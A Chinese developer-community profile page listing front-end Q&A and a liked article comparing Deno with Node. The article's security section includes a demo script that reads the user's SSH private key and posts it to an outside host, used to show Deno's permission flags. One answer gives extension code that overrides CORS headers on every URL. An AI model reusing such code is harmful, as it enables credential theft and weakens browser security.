saber酱

saber酱 查看完整档案

填写现居城市  |  填写毕业院校  |  填写所在公司/组织填写个人主网站
编辑
_ | |__ _ _ __ _ | '_ \| | | |/ _` | | |_) | |_| | (_| | |_.__/ \__,_|\__, | |___/ 该用户太懒什么也没留下

个人动态

saber酱 回答了问题 · 9月2日

解决Chrome 扩展在后台发出的请求如何携带前台 cookie?

后台可以修改网络请求,使用 chrome.webRequest.onHeadersReceived API,给每个请求的 response headers 都添加 Access-Control-Allow-Origin : *,那么前台发出的所有请求都可以跨域。(如果此请求本来就有这个标头,就先删掉然后添加)

先在 manifest.json 里申请权限:

"permissions": ["webRequest", "webRequestBlocking", "*://*/*" ]

然后在后台代码(background.js)里修改网络请求:

function removeMatchingHeaders(headers: any, regex: any) {
  for (var i = 0, header; (header = headers[i]); i++) {
    if (header.name.match(regex)) {
      headers.splice(i, 1);
      console.log('Removing header "' + header.name + '":"' + header.value + '"');
      return;
    }
  }
}

function responseListener(details: any) {

  removeMatchingHeaders(details.responseHeaders, /access-control-allow-origin/i);
  details.responseHeaders.push({ name: 'Access-Control-Allow-Origin', value: '*' });

  return { responseHeaders: details.responseHeaders };
}

chrome.webRequest.onHeadersReceived.addListener(responseListener, {
  urls: ['*://*/*']
}, [
  'blocking',
  'responseHeaders',
  'extraHeaders'
]);

可以根据自己需要把网址范围 *://*/* 修改一下,避免影响所有网络请求。

关注 3 回答 3

saber酱 提出了问题 · 9月1日

解决Chrome 扩展在后台发出的请求如何携带前台 cookie?

我用 Chrome 扩展程序从 https://www.pixiv.net/artworks/84085174 下载一张图片,图片是跨域的。https://i.pximg.net/img-original/img/2020/09/01/16/22/11/84085174_p0.png

前台直接请求会被跨域策略阻止,我在后台脚本 background.js 里可以请求,但是 403,因为需要携带 cookie。不知道怎么解决。

后台网址是 chrome 扩展的网址:
chrome-extension://penkncbihcdfkhngfonjppnnkhodlali/_generated_background_page.html
fetch 或 xhr,虽然它们可以发送 cookie,但因为是在后台页面执行的,无法携带前台页面的 cookie。而且它们都不支持在请求头里设置自定义 cookie,我就算获取了前台的 cookie 也发送不出去,一筹莫展,不知道该怎么办。

关注 3 回答 3

saber酱 赞了回答 · 8月24日

解决这样修改算是解耦吗,是否应该这样?

下面是个人的理解:
这种监听捕获处理流程没有太大的问题。
你所谓的增加事件event2,应该有对应的监听处理,而不应该简单的和init关联啊,要么整合进init的处理过程,要么完全独立,这样来其实要么只修改子模块,要么因为是新事件,要同时修改子模块和主控(不过这样你前面的模式一样需要两个都修改)。

关于你提到的2种模式对工作流程的关联特性其实是针对不同应用的,不能一概而论,有时第一种模式更适合,有时第二种模式适合,比如第二种模式主要是面对异步处理的,和第一种逻辑线路就不同的。

关注 2 回答 1

saber酱 提出了问题 · 8月21日

解决这样修改算是解耦吗,是否应该这样?

在前端项目里,设想有一个流程控制模块和一些负责单个组件、功能的子模块。流程控制引入子模块的实例,单方面调用:

流程控制:

import base

init(){
  // 指示子模块初始化
  base.init()
}

如果改为流程控制模块触发 init 事件,子模块里响应 init 事件:

流程控制:

// 只触发事件
init(){
  fire('init')
}

子模块:

listen('init){
  this.init()
}

修改之后看起来很好看,因为流程控制里不需要引用子模块,减少了一些 import。表面上看似乎是解耦了,但我觉得也有不妥的地方,似乎更难维护了:

  1. 这让子模块绑定了流程控制的逻辑。如果以后业务变更,增加了一个事件 event2 需要子模块再执行 init,需要同时修改这两个模块:流程控制触发事件,然后子模块里添加对这个事件的监听。但在一开始的形式里,只需要修改流程控制即可,后面的形式反而需要修改两个模块。
  2. 一开始的形式里,查看流程控制的代码时,可以清晰的看到工作流程,它指示各个子模块初始化。后面的形式里,看不到工作流程,只能去搜索有哪些子模块监听了它所触发的事件,相当麻烦。

到底该不该这样修改呢,或者是有更好的方式?但我在这方面造诣不深,想问下前辈们的意见,谢谢!

关注 2 回答 1

saber酱 提出了问题 · 6月10日

解决vue-cli 提示 'get' and 'set' accessor must have the same type.

vue-cli 3 项目,使用了 class 风格的组件(vue-property-decorator)
2.png

有个 getter 和 setter,是 vue 实例的计算属性,因为用了 class 风格所以是用 get 和 set 写的。
编辑器提示 get 和 set 寄存器必须有相同的类型,这个地方我不理解,因为 get 和 set 的参数类型不一样,返回值也不一样,这个要求“相同的类型” 不懂什么意思。
不过运行时没有提示这个错误,可以正常使用。请大佬解惑~

关注 1 回答 1

saber酱 赞了回答 · 6月9日

flex布局子元素高度如何自适应?

1 假如如下结构

clipboard.png

父级元素设置高度,并在父级元素上设置flex布局,

.parent {
  width: 400px;
  height: 500px;
  display: flex;
  flex-direction: column;
}

在子元素上,设置子元素的flex属性值为1,以及overflow属性为 scroll;

.child {
  width: 100%;
  flex: 1;
  overflow: scroll;
}

关注 5 回答 4

saber酱 赞了回答 · 5月26日

vue-cli3中process.env.BASE_URL在哪里设置?

在根目录的 vue.config.js 中配置 baseUrl

如果你要看原理的化可以看这部分源码,我之前写了 vue-cli 3 相关的一些分析文章

源码部分:@vue/cli-service/lib/util/resolveClientEnv.js

module.exports = function resolveClientEnv (options, raw) {
  const env = {}
  Object.keys(process.env).forEach(key => {
    if (prefixRE.test(key) || key === 'NODE_ENV') {
      env[key] = process.env[key]
    }
  })
  env.BASE_URL = options.baseUrl

  if (raw) {
    return env
  }

  for (const key in env) {
    env[key] = JSON.stringify(env[key])
  }
  return {
    'process.env': env
  }
}

核心就是:

env.BASE_URL = options.baseUrl

关注 3 回答 2

saber酱 赞了文章 · 5月18日

Deno 正式发布,彻底弄明白和 node 的区别

前言

Deno 已经正式发布了🎉!

我说这句话时候,是不是很多前端 和 NodeJS 工(码)程(农)师已经按不住自己的40米大刀了。心中的不仅感慨前端是真的会造轮子,有了 node 还不够吗,还没学会 node 又搞了个 deno,node 和 deno 啥区别?!

的确,deno 和 node 形态很相似,要解决的问题似乎也相同,那他们到底有啥区别,这一切究竟是道德的沦丧还是 ry (作者)人性的扭曲,让我们走进本篇文章,一探究竟。

Deno VS Node

NodeDeno
API 引用方式模块导入全局对象
模块系统CommonJS & 新版 node 实验性 ES ModuleES Module 浏览器实现
安全无安全限制默认安全
Typescript第三方,如通过 ts-node 支持原生支持
包管理npm + node_modules原生支持
异步操作回调Promise
包分发中心化 npmjs.com去中心化 import url
入口package.json 配置import url 直接引入
打包、测试、格式化第三方如 eslint、gulp、webpack、babel 等原生支持

1.内置 API 引用方式不同

node 模块导入

node 内置 API 通过模块导入的方式引用,例如:

const fs = require("fs");
fs.readFileSync("./data.txt");

deno 全局对象

而 deno 则是一个全局对象 Deno 的属性和方法:

Deno.readFileSync("./data.txt");

具体 deno 有哪些方法,我们可以通过 repl 看一下:

deno # 或 deno repl

进入 repl 后,输入 Deno 回车,我们可以看到:

{
 Buffer: [Function: Buffer],
 readAll: [AsyncFunction: readAll],
 readAllSync: [Function: readAllSync],
 writeAll: [AsyncFunction: writeAll],
 writeAllSync: [Function: writeAllSync],
 # .....
}

这种处理的方式好处是简单、方便,坏处是没有分类,想查找忘记的 API 比较困难。总体来说见仁见智。

2.模块系统

我们再来看一下模块系统,这也是 deno 和 node 差别最大的地方,同样也是 deno 和 node 不兼容的地方。

node CommonJS 规范

我们都知道 node 采用的是 CommonJS 规范,而 deno 则是采用的 ES Module 的浏览器实现,那么我们首先来认识一下:

ES Module 的浏览器实现

具体关于 ES Module 想必大家都早已熟知,但其浏览器实现可能大家还不是很熟悉,所以我们先看一下其浏览器实现:

<body>
  <!-- 注意这里一定要加上 type="module" -->
  <script type="module">
    // 从 URL 导入
    import Vue from "https://unpkg.com/vue@2.6.11/dist/vue.esm.browser.js";
    // 从相对路径导入
    import * as utils from "./utils.js";
    // 从绝对路径导入
    import "/index.js";

    // 不支持
    import foo from "foo.js";
    import bar from "bar/index.js";
    import zoo from "./index"; // 没有 .js 后缀
  </script>
</body>

deno 的模块规范

deno 完全遵循 es module 浏览器实现,所以 deno 也是如此:

// 支持
import * as fs from "https://deno.land/std/fs/mod.ts";
import { deepCopy } from "./deepCopy.js";
import foo from "/foo.ts";

// 不支持
import foo from "foo.ts";
import bar from "./bar"; // 必须指定扩展名

我们发现其和我们平常在 webpack 或者 ts 使用 es module 最大的不同

  • 可以通过 import url 直接引用线上资源;
  • 资源不可省略扩展名和文件名。

关于第 1 点,争议非常大,有人很看好,觉得极大的扩展了 deno 库的范围;有人则不太看好,觉得国内网速的原因,并不实用。大家的看法如何,欢迎在评论区发表 🤔

3.安全

如果模块规范是 node 和 deno 最大的不同,那么对安全的处理,则是另外一个让人摸不着头脑的地方。

模拟盗号

在介绍之前我们先思考一下这个场景会不会出现:

我做了一个基于命令行的一键上网工具 breakwall,每月 1 个 G 免费流量,然后将压缩后的 JS 代码发布到 npm 上,然后后在各种渠道宣传一波。

羊毛党兴高彩烈的 cnpm install -g breakwall,然后每次使用的时候,我偷偷的将诸位的 ssh 密钥和各种能偷的文档及图片偷偷上传到我的服务器,在设定期限到期后,删除电脑上资料,留下一句拿钱换资料,仅支持比特币。

默认安全的 deno

如果你觉得以上情况有可能出现,则会觉得下面的功能很实用。我们先用 deno 执行以下代码:

// index.js
let rsa = Deno.readFileSync(Deno.dir("home") + "/.ssh/id_rsa");

rsa = new TextDecoder().decode(rsa);

fetch("http://jsonplaceholder.typicode.com/posts/1", {
  method: "POST",
  body: JSON.stringify(rsa)
})
  .then((res) => res.json())
  .then((res) => console.log("密钥发送成功,嘿嘿嘿😜"));

console.log("start breakwall...");
PS: --unstable 是由于 Deno.dir API 不稳定
> deno run --unstable index.js

我们将会得到如下报错信息:

> deno run --unstable  index.js
error: Uncaught PermissionDenied: access to environment variables, run again with the --allow-env flag
    ...

意思就是权限异常,需要访问环境变量,需要加上 --allow-env,我们加上这个参数再试一下。

> deno run --unstable --allow-env index.js
error: Uncaught PermissionDenied: read access to "/Users/zhangchaojie/.ssh/id_rsa", run again with the --allow-read flag
    ...

如此反复,还需加上 --allow-read--allow-net ,最终的结果是:

> deno run --unstable --allow-env --allow-read --allow-net  index.js
start breakwall...
密钥发送成功,嘿嘿嘿😜

经过一番折腾,总算是发送成功了,要想盗取密钥实属不易。

白名单

那有人就说了,如果我的应用确实需要访问网络和文件,但是有不想让它访问 .ssh 文件有没有办法?

当然有了,我们可以给 --allow-read--allow-net 指定白名单,名单之外都不可访问,例如:

> deno run --unstable --allow-env --allow-read --allow-net=https://www.baidu.com  index.js
start breakwall...
error: Uncaught PermissionDenied: network access to "http://jsonplaceholder.typicode.com/posts/1", run again with the --allow-net flag
    at unwrapResponse ($deno$/ops/dispatch_json.ts:43:11)
    at Object.sendAsync ($deno$/ops/dispatch_json.ts:98:10)
    at async fetch ($deno$/web/fetch.ts:591:27)

简化参数

如果确认是没问题,或者是自己开发软件时,图个方便,可以直接使用 -A--allow-all 参数允许所有权限:

> deno -A --unstable index.js
start breakwall...
密钥发送成功,嘿嘿嘿😜

安全这方面见仁见智,有人觉得是多余,有人觉得很好用,极大的增强了安全性。如果你属于觉得这个功能多余的,可以 deno run -A xxx 即可。

4.兼容浏览器 API

很多人不理解,为什么你一个服务端语言要兼容浏览器 API,以及怎么兼容。

为什么要兼容浏览器 API

关于为什么,我举个栗子大家就明白了:在设计 node 之处,关于输出函数本来叫 print 之类的,后来有人提议为什么不叫 console.log,ry 觉得挺不错,于是就接纳了意见。

但是,这个设计并不是刻意为之,而 deno 的设计则可以为之,通过与浏览器 API 保持一致,来减少大家的认知

怎么兼容浏览器 API

概念上兼容
  • 模块系统,从上面介绍看出 deno 是完全遵循浏览器实现的;
  • 默认安全,当然也不是自己创造的概念,w3c 早已做出浏览器权限的规定,我们在做小程序的时候尤为明显,需要获取各种权限;
  • 对于异步操作返回 Promise;
  • 使用 ArrayBuffer 处理二进制;
  • 等等...
存在 window 全局变量
console.log(window === this, window === self, window === globalThis);
实现了 WindowOrWorkerGlobalScope 的全部方法

具体方法列表,我们可以参考:lib.deno.shared_globals.d.tslib.deno.window.d.ts

// 请求方法
fetch("https://baidu.com");

// base64 转化
let encodedData = btoa("Hello, world"); // 编码
let decodedData = atob(encodedData); // 解码

// 微任务
queueMicrotask(() => {
  console.log(123);
});

// 等等...
大趋势

总体而言,如果服务端和浏览器端存在相同概念,deno 就不会创造新的概念。这一点其实 node 也在做,新的 node 14.0 CHANGELOG 就也提及要实现 Universal JavaScriptSpec compliance and Web Compatibility的思想,所以这点大家应该都会接受吧,毕竟大势所趋趋势。

5.支持 Typescript

不管你喜欢与否,2020 年了,必须学习 TS 了(起码在面试的时候是亮点)。学完之后你才会明白王境泽定律真的无处不在。

// index.ts
let str: string = "王境泽定律";
str = 132;
> deno run index.ts
error TS2322: Type '123' is not assignable to type 'string'.

► file:///Users/zhangchaojie/Desktop/index.ts:2:1

2 str = 123

6.去 node_modules

deno 没有 node_modules,那么它是怎么进行包管理的呢?我们先看下面的例子

// index.js
import { white, bgRed } from "https://deno.land/std/fmt/colors.ts";

console.log(bgRed(white("hello world!")));
> deno run index.js
Download https://deno.land/std/fmt/colors.ts
Compile https://deno.land/std/fmt/colors.ts
hello world!

我们看到其有 DownloadCompile 两个步骤,我们会产生几个疑问:

1、每次执行都要下载吗?

解:我们只需要再执行一次就能明白,不需要每次下载。

> deno run index.js
hello world!

2、Download 和 Compile 的文件在哪里呢?

解:我们会发现,当前执行的目录,并没有 Download 和 Compile 文件,那文件放在哪里呢,我们首先来看一下 deno --help 命令:

> deno --help
SUBCOMMANDS:
# ...
info           Show info about cache or info related to source file

# ...
ENVIRONMENT VARIABLES:
    DENO_DIR   Set deno's base directory (defaults to $HOME/.deno)

deno info 命令展示了依赖关系,类似 package.json

> deno info index.js
local: /Users/zhangchaojie/Desktop/index.js
type: JavaScript
deps:
file:///Users/zhangchaojie/Desktop/index.js
  └── https://deno.land/std/fmt/colors.ts

DENO_DIR 则为实际的安装和编译目录,相当于 node_modules,默认为 $HOME/.deno(命令提示是这样的,但实际需要指定一下环境变量 export DENO_DIR=$HOME/.deno),我们看一下:

> tree $HOME/.deno
/Users/zhangchaojie/.deno
├── deps
│   └── https
│       └── deno.land
│           ├── 3574883d8acbaf00e28990ec8e83d71084c4c668c1dc7794be25208c60cfc935
│           └── 3574883d8acbaf00e28990ec8e83d71084c4c668c1dc7794be25208c60cfc935.metadata.json
└── gen
    └── https
        └── deno.land
            └── std
                └── fmt
                    ├── colors.ts.js
                    ├── colors.ts.js.map
                    └── colors.ts.meta

8 directories, 5 files

3、没网络了怎么办?

我们有些场景是将本地写好的代码部署到没有网络的服务器,那么当执行 deno run xxx 时,就是提示 error sending request。

解:将上面的缓存目录内容,直接拷贝到服务器并指定环境变量到其目录即可。

4、依赖代码更新了怎么办?

解:当依赖模块更新时,我们可以通过 --reload 进行更新缓存,例如:

> deno run --reload index.js

我们还可以通过白名单的方式,只更新部分依赖。例如:

> deno run --reload=https://deno.land index.js

5、仅缓存依赖,不执行代码有办法吗?

解:有的,我们可以通过 deno cache index.js 进行依赖缓存。

6、多版本怎么处理?

解:暂时没有好的解决方案,只能通过 git tag 的方式区分版本。

7.标准模块 与 node API 兼容

我们通过第 1 点可以看到,其实 deno 的 API 相对于 node 其实是少一些的,通过其文件大小也能看出来:

> ll /usr/local/bin/node /Users/zhangchaojie/.local/bin/deno
-rwxr-xr-x  1   42M   /Users/zhangchaojie/.local/bin/deno
-rwxr-xr-x  1   70M   /usr/local/bin/node

那这些少的 API 只能自己写或者求助于社区吗?

deno 对于自身相对于 node 少的和社区中常用的功能,提供了标准模块,其特点是不依赖非标准模块的内容,达到社区内的模块引用最后都收敛于标准模块的效果。例如:

// 类似 node 中 chalk 包
import { bgRed, white } from "https://deno.land/std/fmt/colors.ts";

// 类似 node 中的 uuid 包
import { v4 } from "https://deno.land/std/uuid/mod.ts";

同时为了对 node 用户友好,提供了 node API 的兼容

import * as path from "https://deno.land/std/node/path.ts";
import * as fs from "https://deno.land/std/node/fs.ts";

console.log(path.resolve('./', './test'))

所以,大家在为 deno 社区做贡献的时候,首先要看一下标准模块有没有提供类似的功能,如果已经提供了可以进行引用。

8.异步操作

根据 ry 自己是说法,在设计 node 是有人提议 Promise 处理回调,但是他没听,用他自己的话说就是愚蠢的拒绝了。

node 用回调的方式处理异步操作、deno 则选择用 Promise

// node 方式
const fs = require("fs");
fs.readFile("./data.txt", (err, data) => {
  if (err) throw err;
  console.log(data);
});

另外 deno 支持 top-level-await,所以以上读取文件的代码可以为:

// deno 方式
const data = await Deno.readFile("./data.txt");
console.log(data);

node 关于这方面也在一直改进,例如社区上很多 promisify 解决方案,通过包裹一层函数,实现目的。例如:

// node API promisify
const { promisify } = require("es6-promisify");
const fs = require("fs");

// 没有 top-level-await,只能包一层
async function main() {
  const readFile = promisify(fs.readFile);
  const data = await readFile("./data.txt");
  console.log(data);
}

main();

9.单文件分发

我们知道 npm 包必须有 package.json 文件,里面不仅需要指明 mainmodulebrowser 等字段来标明入口文件,还需要指明 namelicensedescription 等字段来说明这个包。

ry 觉得这些字段扰乱了开发者的视听,所以在 deno 中,其模块不需要任何配置文件,直接是 import url 的形式。

10.去中心化仓库

对于 www.npmjs.com 我们肯定都不陌生,它是推动 node 蓬勃发展的重要支点。但作者认为它是中心化仓库,违背了互联网去中心化原则。

所以 deno 并没有一个像 npmjs.com 的仓库,通过 import url 的方式将互联网任何一处的代码都可以引用。

PS:deno 其实是有个基于 GitHub 的第三方模块集合

11.去开发依赖

我们在写一个 node 库或者工具时,开发依赖是少不了的,例如 babel 做转化和打包、jest 做测试、prettier 做代码格式化、eslint 做代码格式校检、gulp 或者 webpack 做构建等等,让我们在开发前就搞得筋疲力尽。

deno 通过内置了一些工具,解决上述问题。

  • deno bundle:打包命令,用来替换 babelgulp 一类工具: 例如:deno bundle ./mod.ts
  • deno fmt:格式化命令,用来替换 prettier 一类工具,例如:deno fmt ./mod.ts
  • deno test:运行测试代码,用来替换 jest 一类工具,例如 deno test ./test.ts
  • deno lint:代码校检(暂未实现),用来替换 eslint 一类工具,例如:deno lint ./mod.ts

后记

就像小时候一直幻想的炸弹始终没能炸了学校,技(轮)术(子)的进(制)步(造)一直也未停止过。不论我们学的动或者学不动,技术就在那里,不以人的意志为转移。

至于 deno 能不能火,我个人觉得起码一两年内不会有太大反响,之后和 node 的关系有可能像 Vue 和 react,有人喜欢用 deno,觉得比 node 好一万倍,有人则喜欢 node ,觉得 node 还能再战 500 年。至于最终学不学还看自己。

如果觉得文章不错,记得点赞、收藏啦~~~~

查看原文

赞 26 收藏 11 评论 4

saber酱 提出了问题 · 1月19日

解决css vertical-align: middle; 使行高变大是什么原因?

QQ截图20200119103001.png

两个 p 元素,设置行高 24px,子元素垂直居中对齐。css 如下:

p {
  line-height: 24px;
}

p * {
  vertical-align: middle;
}

第一个 p 里面是简单文本,高度是 24px,第二个里面有一些子元素,高度变得比 24px 大了,找不出原因。

如果去掉 vertical-align: middle; 第二行高度正常,但是复选框和文字就没有对齐了。加上了高度却会变化。

求教是为什么~

不能给 p 元素指定固定的 height,因为可能有换行。

完整代码如下:

<!DOCTYPE html>
<html lang="en">
<body>
  <p>11111</p>
  <p>
    多个行内元素:
    <input type="checkbox" id="t1" name="type1">
    <span class="beautify_checkbox"></span>
    <label for="t1">选项</label>
    <input type="checkbox" id="t2" name="type2">
    <span class="beautify_checkbox"></span>
    <label for="t2">选项</label>
    <input type="checkbox" id="t3" name="type3">
    <span class="beautify_checkbox"></span>
    <label for="t3">选项</label>
  </p>

  <style>
    * {
      margin: 0;
      padding: 0;
    }

    body {
      font-size: 14px;
    }

    p {
      line-height: 24px;
    }

    p * {
      vertical-align: middle;
    }
  </style>
</body>
</html>

关注 2 回答 1

saber酱 回答了问题 · 1月15日

解决pm2和forever对于前端守护进程有什么用

1.前端感觉根本不需要这个东西
没错,这个是给后端用的。

2.“除非用node做线上服务器”
Express 或者 Koa 都是用 nodejs 做网站后台的。这样的后台是通过 npm run app.js 这样启动的,需要守护进程。

3.Express 或者 Koa 是做的网站后台,nginx 是站点管理,这两个不是一个东西。

关注 3 回答 2

认证与成就

  • 获得 22 次点赞
  • 获得 58 枚徽章 获得 2 枚金徽章, 获得 16 枚银徽章, 获得 40 枚铜徽章

擅长技能
编辑

(゚∀゚ )
暂时没有

开源项目 & 著作
编辑

(゚∀゚ )
暂时没有

注册于 2017-01-04
个人主页被 698 人浏览